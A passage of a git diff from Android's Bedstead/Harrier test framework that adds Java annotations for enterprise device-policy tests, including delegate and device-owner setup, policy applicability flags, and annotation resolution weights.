+ *
+ * <p>This will generate parameterized runs for all matching states. Tests will only be run on
+ * the same user as the DPC. If you wish to test that a policy applies across all relevant states,
+ * use {@link PositivePolicyTest}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@RequiresBedsteadJUnit4
+public @interface CanSetPolicyTest {
+    /**
+     * The policy being tested.
+     *
+     * <p>This is used to calculate which states are required to be tested.
+     */
+    Class<?> policy();
+
+    /**
+     * If true, this test will only be run in a single state.
+     *
+     * <p>This is useful for tests of invalid inputs, where running in multiple states is unlikely
+     * to add meaningful coverage.
+     *
+     * By default, all states where the policy can be set will be included.
+     */
+    boolean singleTestOnly() default false;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default PRECEDENCE_NOT_IMPORTANT;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
index 84b0282..d0f1985 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
 
 import java.lang.annotation.ElementType;
@@ -40,4 +43,27 @@
      * <p>This is used to calculate which states are required to be tested.
      */
     Class<?> policy();
+
+    /**
+     * If true, then this will run in states where the app is a device admin but is not one which is
+     * allowed to make the call.
+     */
+    boolean includeDeviceAdminStates() default true;
+
+    /**
+     * If true, then this will run in states where the app is not a device admin.
+     */
+    boolean includeNonDeviceAdminStates() default true;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default PRECEDENCE_NOT_IMPORTANT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
new file mode 100644
index 0000000..c581561
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test requires that the given admin delegates the given scope to a test app.
+ *
+ * <p>You should use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method. You can use {@link DeviceState#delegate()} to interact with
+ * the delegate.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasDelegate {
+
+    int ENSURE_HAS_DELEGATE_WEIGHT = DO_PO_WEIGHT + 1; // Should run after setting DO/PO
+
+    enum AdminType {
+        DEVICE_OWNER,
+        PROFILE_OWNER,
+        PRIMARY
+    }
+
+    /**
+     * The admin that should delegate this scope.
+     *
+     * <p>If this is set to {@link AdminType#PRIMARY} and {@link #isPrimary()} is true, then the
+     * delegate will replace the primary dpc as primary without error.
+     */
+    AdminType admin();
+
+    /** The scope being delegated. */
+    String[] scopes();
+
+    /**
+     * Whether this delegate should be returned by calls to {@link DeviceState#policyManager()}.
+     *
+     * <p>Only one policy manager per test should be marked as primary.
+     */
+    boolean isPrimary() default false;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default ENSURE_HAS_DELEGATE_WEIGHT;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
index a44a593..2fdfc9d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
@@ -18,9 +18,10 @@
 
 import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
 
-import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.FailureMode;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 
@@ -37,6 +38,10 @@
  * the correct state for the method. If using {@link DeviceState}, you can use
  * {@link DeviceState#deviceOwner()} to interact with the device owner.
  *
+ * <p>When running on a device with a headless system user, enforcing this with {@link DeviceState}
+ * will also result in the profile owner of the current user being set to the same device policy
+ * controller.
+ *
  * <p>If {@link DeviceState} is required to set the device owner (because there isn't one already)
  * then all users and accounts may be removed from the device.
  */
@@ -44,16 +49,17 @@
 @Retention(RetentionPolicy.RUNTIME)
 @RequireFeature(FEATURE_DEVICE_ADMIN)
 public @interface EnsureHasDeviceOwner {
-    /** Which user type the device owner should be installed on. */
-    DeviceState.UserType onUser() default SYSTEM_USER;
 
-    /** Behaviour if the device owner cannot be set. */
+    int DO_PO_WEIGHT = MIDDLE;
+
+     /** Behaviour if the device owner cannot be set. */
     FailureMode failureMode() default FailureMode.FAIL;
 
     /**
-     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+     * {@link DeviceState#policyManager()}}.
      *
-     * <p>Only one device policy controller per test should be marked as primary.
+     * <p>Only one policy manager per test should be marked as primary.
      */
     boolean isPrimary() default false;
 
@@ -61,4 +67,16 @@
      * Affiliation ids to be set for the device owner.
      */
     String[] affiliationIds() default {};
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDelegate.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDelegate.java
new file mode 100644
index 0000000..c0516f3
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDelegate.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.ENSURE_HAS_DELEGATE_WEIGHT;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test requires that the given admin does not delegate the given scope to a test app.
+ *
+ * <p>You should use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasNoDelegate {
+
+    enum AdminType {
+        DEVICE_OWNER,
+        PROFILE_OWNER,
+        PRIMARY,
+        ANY
+    }
+
+
+    /**
+     * The admin that should not delegate this scope.
+     *
+     * <p>Defaults to any admin
+     *
+     * <p>If this is set to {@link AdminType#PRIMARY} and {@link #isPrimary()} is true, then the
+     * delegate will replace the primary dpc as primary without error.
+     */
+    AdminType admin() default AdminType.ANY;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default ENSURE_HAS_DELEGATE_WEIGHT + 1; // Should run after setting delegate
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
index 027e808..307b554 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
@@ -16,7 +16,10 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
+
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -33,4 +36,16 @@
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 public @interface EnsureHasNoDeviceOwner {
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
new file mode 100644
index 0000000..c97fd7f
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test requires that there is no dpc on the device.
+ *
+ * <p>This checks that there is no device owner, the current user has no work profiles, and the
+ * current user has no profile owner.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a device which has
+ * no dpc. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureHasNoDeviceOwner
+@EnsureHasNoWorkProfile
+@EnsureHasNoProfileOwner
+public @interface EnsureHasNoDpc {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
index 18664fb..561da3c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
@@ -17,8 +17,10 @@
 package com.android.bedstead.harrier.annotations.enterprise;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -36,4 +38,16 @@
 public @interface EnsureHasNoProfileOwner {
     /** Which user type the profile owner should not be attached to. */
     DeviceState.UserType onUser() default CURRENT_USER;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
index bbe7328..a408a4d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
@@ -19,8 +19,10 @@
 import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 
 import java.lang.annotation.ElementType;
@@ -43,9 +45,10 @@
     DeviceState.UserType onUser() default CURRENT_USER;
 
     /**
-     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+     * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+     * {@link DeviceState#policyManager()}}.
      *
-     * <p>Only one device policy controller per test should be marked as primary.
+     * <p>Only one policy manager per test should be marked as primary.
      */
     boolean isPrimary() default false;
 
@@ -53,4 +56,16 @@
      * Affiliation ids to be set for the profile owner.
      */
     String[] affiliationIds() default {};
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default DO_PO_WEIGHT;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
index c92860b..9b3c16a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
@@ -28,51 +28,173 @@
 @Target(ElementType.TYPE)
 @Retention(RetentionPolicy.RUNTIME)
 public @interface EnterprisePolicy {
-    enum DeviceOwnerControl {
-        /** A policy that can be applied by a Device Owner to all users on the device. */
-        GLOBAL,
 
-        /**
-         * A policy that can be applied by a Device Owner and applies to the device owner
-         * itself and to affiliated users on the device.
-         */
-        AFFILIATED,
-
-        /** A policy that can be applied by a Device Owner to only the Device Owner's user. */
-        USER,
-
-        /** A policy that cannot be applied by a Device Owner. */
-        NO
+    /**
+     * An enterprise policy which can be controlled using permissions.
+     */
+    @interface Permission {
+        /** The permission required to exercise the policy. */
+        String appliedWith();
+        /** Flags indicating who the policy applies to when applied in this way. */
+        int appliesTo();
+        /** Additional modifiers. */
+        int modifiers() default NO;
     }
 
-    enum ProfileOwnerControl {
-        /** A policy that can be applied by a Profile Owner to the profile itself and its parent. */
-        PARENT,
-
-        /**
-         * A policy that can be applied by a Profile Owner to the profile itself, and to the
-         * parent if it is a COPE profile.
-         */
-        COPE_PARENT,
-
-        /** A policy that can be applied by a Profile Owner to the profile itself. */
-        PROFILE,
-
-        /** A policy that can be applied by an affiliated Profile Owner, applying to itself. */
-        AFFILIATED,
-
-        /**
-         * A policy that can be applied by an affiliated Profile Owner or a Profile Owner with no
-         * Device Owner.
-         *
-         * <p>The policy will be applied to the user, and interaction with other users is undefined.
-         */
-        AFFILIATED_OR_NO_DO,
-
-        /** A policy that cannot be applied by a Profile Owner. */
-        NO
+    /**
+     * An enterprise policy which can be controlled user app ops.
+     */
+    @interface AppOp {
+        /** The AppOp required to exercise the policy. */
+        String appliedWith();
+        /** Flags indicating who the policy applies to when applied in this way. */
+        int appliesTo();
+        /** Additional modifiers. */
+        int modifiers() default NO;
     }
 
-    DeviceOwnerControl deviceOwner();
-    ProfileOwnerControl profileOwner();
+    /**
+     * An enterprise policy which can be controlled by an app with a particular delegated scope.
+     */
+    @interface DelegatedScope {
+         /** The delegated scope required to exercise the policy. */
+        String scope();
+        /** Flags indicating who the policy applies to when applied in this way. */
+        int appliesTo();
+        /** Additional modifiers. */
+        int modifiers() default NO;
+    }
+
+    /** A policy that cannot be applied. */
+    int NO = 0;
+
+    /** A policy which applies to the user of the package which applied the policy. */
+    int APPLIES_TO_OWN_USER = 1;
+    /** A policy which applies to unaffiliated other users. */
+    int APPLIES_TO_UNAFFILIATED_OTHER_USERS = 1 << 1;
+    /** A policy which applies to affiliated other users. */
+    int APPLIES_TO_AFFILIATED_OTHER_USERS = 1 << 2;
+    /** A policy which applies to unaffiliated profiles of the user of the package which applied the policy. */
+    int APPLIES_TO_UNAFFILIATED_CHILD_PROFILES = 1 << 3;
+    /** A policy which applies to affiliated profiles of the user of the package which applied the policy. */
+    int APPLIES_TO_AFFILIATED_CHILD_PROFILES = 1 << 4;
+    /** A policy that applies to the parent of the profile of the package which applied the policy. */
+    int APPLIES_TO_PARENT = 1 << 5;
+
+    /** A policy that applies to affiliated or unaffiliate profiles of the package which applied the policy. */
+    int APPLIES_TO_CHILD_PROFILES =
+            APPLIES_TO_UNAFFILIATED_CHILD_PROFILES | APPLIES_TO_AFFILIATED_CHILD_PROFILES;
+    /** A policy that applies to affiliated or unaffiliated other users. */
+    int APPLIES_TO_OTHER_USERS =
+            APPLIES_TO_UNAFFILIATED_OTHER_USERS | APPLIES_TO_AFFILIATED_OTHER_USERS;
+
+    /** A policy that applies to all users on the device. */
+    int APPLIES_GLOBALLY = APPLIES_TO_OWN_USER | APPLIES_TO_OTHER_USERS | APPLIES_TO_CHILD_PROFILES;
+
+
+    // Applied by
+
+    /** A policy that can be applied by a device owner. */
+    int APPLIED_BY_DEVICE_OWNER = 1 << 6;
+    /** A policy that can be applied by a profile owner of an unaffiliated profile. */
+    int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE = 1 << 7;
+    /** A policy that can be applied by a profile owner of an affiliated profile */
+    int APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE = 1 << 8;
+    /** A policy that can be applied by a profile owner of a cope profile */
+    int APPLIED_BY_COPE_PROFILE_OWNER = 1 << 9;
+
+    /** A policy that can be applied by a profile owner of an affiliated or unaffiliated profile.
+     * This does not include cope profiles. */
+    int APPLIED_BY_PROFILE_OWNER_PROFILE =
+            APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
+                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
+    /**
+     * A policy that can be applied by a Profile Owner for a User (not Profile) with no Device
+     * Owner.
+     */
+    int APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO = 1 << 10;
+    /**
+     * A policy that can be applied by an unaffiliated Profile Owner for a User (not Profile) with
+     * a Device Owner.
+     */
+    int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER_WITH_DO = 1 << 11;
+    /** A policy that can be applied by a profile owner of an unaffiliated user. */
+    int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER =
+            APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO
+                    | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER_WITH_DO;
+    /** A policy that can be applied by a profile owner of an affiliated user. */
+    int APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER = 1 << 12;
+    /** A policy that can be applied by an affiliated or unaffiliated profile owner on a User (not Profile). */
+    int APPLIED_BY_PROFILE_OWNER_USER =
+            APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+    /** A policy that can be applied by an affiliated profile owner on a user or profile. */
+    int APPLIED_BY_AFFILIATED_PROFILE_OWNER = APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+    /** A policy that can be applied by a profile owner, affiliate or unaffiliated, running on a user or profile. */
+    int APPLIED_BY_PROFILE_OWNER =
+            APPLIED_BY_PROFILE_OWNER_PROFILE
+            | APPLIED_BY_PROFILE_OWNER_USER;
+
+    int APPLIED_BY_PARENT_INSTANCE_OF_NON_COPE_PROFILE_OWNER_PROFILE = 1 << 13;
+    int APPLIED_BY_PARENT_INSTANCE_OF_COPE_PROFILE_OWNER_PROFILE = 1 << 14;
+
+    int APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER_PROFILE =
+            APPLIED_BY_PARENT_INSTANCE_OF_NON_COPE_PROFILE_OWNER_PROFILE | APPLIED_BY_PARENT_INSTANCE_OF_COPE_PROFILE_OWNER_PROFILE;
+
+    int APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER_USER = 1 << 15;
+
+    int APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER =
+            APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER_USER
+                    | APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER_PROFILE;
+
+    // Modifiers
+    /** Internal use only. Do not use */
+    // This is to be used to mark specific annotations as not generating negative tests
+    int DO_NOT_APPLY_TO_NEGATIVE_TESTS = 1 << 16;
+
+    /**
+     * A policy which applies even when the user is not in the foreground.
+     *
+     * <p>Note that lacking this flag does not mean a policy does not apply - to indicate that use
+     * {@link DOES_NOT_APPLY_IN_BACKGROUND}. */
+    int APPLIES_IN_BACKGROUND = 1 << 17 | (DO_NOT_APPLY_TO_NEGATIVE_TESTS);
+    /**
+     * A policy which does not apply when the user is not in the foreground.
+     *
+     * <p>At present this does not generate any additional tests but may do in future.
+     *
+     * <p>Note that lacking this flag does not mean a policy does apply - to indicate that use
+     * {@link APPLIES_IN_BACKGROUND}. */
+    int DOES_NOT_APPLY_IN_BACKGROUND = 1 << 18;
+
+
+    /**
+     * A policy which can be applied by a delegate.
+     *
+     * See {@link #delegatedScopes()} for the scopes which enable this.
+     */
+    int CAN_BE_DELEGATED = 1 << 19;
+
+    /** Flags indicating DPC states which can set the policy. */
+    int[] dpc() default {};
+
+    /**
+     * {@link Permission} indicating which permissions can control the policy.
+     *
+     * <p>Note that this currently does not generate any additional tests but may do in future.
+     */
+    Permission[] permissions() default {};
+
+    /**
+     * {@link AppOp} indicating which AppOps can control the policy.
+     *
+     * <p>Note that this currently does not generate any additional tests but may do in future.
+     */
+    AppOp[] appOps() default {};
+
+    /**
+     * {@link DelegatedScope} indicating which delegated scopes can control the policy.
+     *
+     * <p>This applies to {@link #dpc()} entries with the {@link #CAN_BE_DELEGATED} flag.
+     */
+    String[] delegatedScopes() default {};
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java
index 5e2564d..4dfdace 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/NegativePolicyTest.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
 
 import java.lang.annotation.ElementType;
@@ -39,4 +42,16 @@
      * <p>This is used to calculate which states are required to be tested.
      */
     Class<?> policy();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default PRECEDENCE_NOT_IMPORTANT;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java
index 07e7bba..32a0626 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/PositivePolicyTest.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
 import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
 
 import java.lang.annotation.ElementType;
@@ -39,4 +42,16 @@
      * <p>This is used to calculate which states are required to be tested.
      */
     Class<?> policy();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
